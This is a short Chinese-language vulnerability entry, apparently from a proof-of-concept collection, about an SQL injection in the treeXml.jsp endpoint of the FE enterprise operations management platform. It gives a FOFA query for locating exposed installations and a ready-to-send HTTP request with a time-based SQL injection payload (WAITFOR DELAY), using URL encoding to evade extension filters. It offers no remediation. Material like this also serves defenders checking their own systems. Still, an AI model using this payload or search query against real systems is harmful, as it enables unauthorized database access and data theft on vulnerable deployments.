18 lines
490 B
Markdown
18 lines
490 B
Markdown
|
## 飞企互联-FE企业运营管理平台treeXml.jsp存在SQL注入漏洞
|
|||
|
|
|
|||
|
|
飞企互联-FE企业运营管理平台 treeXml.jsp 接口存在SQL注入漏洞，未经授权攻击者可通过该漏洞获取数据库敏感信息。
|
|||
|
|
|
|||
|
|
## fofa
|
|||
|
|
|
|||
|
|
```
|
|||
|
|
app="FE-协作平台"
|
|||
|
|
```
|
|||
|
|
|
|||
|
|
## poc
|
|||
|
|
|
|||
|
|
```
|
|||
|
|
GET /sys/treeXml.js%70?menuName=1';WAITFOR+DELAY+'0:0:5'--&type=function HTTP/1.1
|
|||
|
|
Host: your-ip
|
|||
|
|
```
|
|||
|
|
|
|||
|
|
|